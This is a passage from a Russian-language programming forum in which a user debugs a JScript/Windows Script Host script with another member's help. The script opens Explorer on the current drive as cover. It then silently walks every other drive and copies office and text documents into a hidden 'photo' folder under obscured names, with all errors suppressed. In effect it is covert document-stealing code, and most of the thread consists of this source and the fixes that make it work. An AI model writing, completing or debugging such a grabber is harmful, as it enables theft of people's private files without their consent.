Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[3.17.150.89] |
|
Страницы: (2) 1 [2] все ( Перейти к последнему сообщению ) |
Сообщ.
#16
,
|
|
|
Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри
|
Сообщ.
#17
,
|
|
|
Олег М
Не видела предыдущего сообщения, простите. function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(doc|rtf|xls|txt)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true); WScript.StdOut.WriteLine(ext); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } 18 строка copyFile все время выдает ошибку |
Сообщ.
#18
,
|
|
|
Цитата lixen15 @ 18 строка copyFile все время выдает ошибку Я ............................. поставил, чтоб покороче было. try { fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + "-" + Date.parse(softwareEnumerator.item().DateLastModified) + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1) + found[0], true); } Добавлено Можно сократить имя fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); |
Сообщ.
#19
,
|
|
|
Олег М
Понимаю, что я наверно Вас уже достала, хах. function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(doc|rtf|xls|txt)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { try { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } } catch(e) { } } } catch(e) { } } try { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { try { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } catch(e) { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } catch(e) { } Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка |
Сообщ.
#20
,
|
|
|
Лишняя скобка
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; |
Сообщ.
#21
,
|
|
|
Олег М
Все запустилось без ошибок, но ничего не скопировалось, хах |
Сообщ.
#22
,
|
|
|
А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?
|
Сообщ.
#23
,
|
|
|
Олег М Исправила на docx. Все равно результата нету
|
Сообщ.
#24
,
|
|
|
Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь
Добавлено var ext = found[0]; Убери эту строчку, она даёт ошибку |
Сообщ.
#25
,
|
|
|
Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.
function UpdateSoftware(fso, cd, softwareFolder) { var patch = /\.(docx)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { var found = softwareEnumerator.item().Name.match(patch); if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); } { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } { } } { } { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } { } |
Сообщ.
#26
,
|
|
|
Цитата lixen15 @ Убрала все возможности возникновения, но к сожалению ничего не копируется все равно. Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше. Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать. И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении. |